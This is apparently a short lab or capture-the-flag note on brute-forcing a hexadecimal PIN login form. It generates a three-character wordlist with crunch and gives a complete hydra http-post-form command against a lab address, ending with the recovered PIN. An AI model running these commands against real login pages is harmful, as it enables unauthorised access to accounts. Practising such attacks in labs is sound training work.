Generating the Password List
Generating a three-digit wordlist:
# /home/beijok/Desktop/Machines/AdventOfCyber/BruteforcingHydra
crunch 3 3 0123456789ABCDEF -o 3digits.txt
Using the Password List
The form uses POST, the field is pin, and failed attempts return Access denied.

Error:

Building the Hydra HTTP form request:
"/login.php:pin=^PASS^:Access denied"
Running the brute force attempt:
hydra -l '' -P 3digits.txt -f -v 10.10.189.24 http-post-form "/login.php:pin=^PASS^:Access denied" -s 8000
# 6F5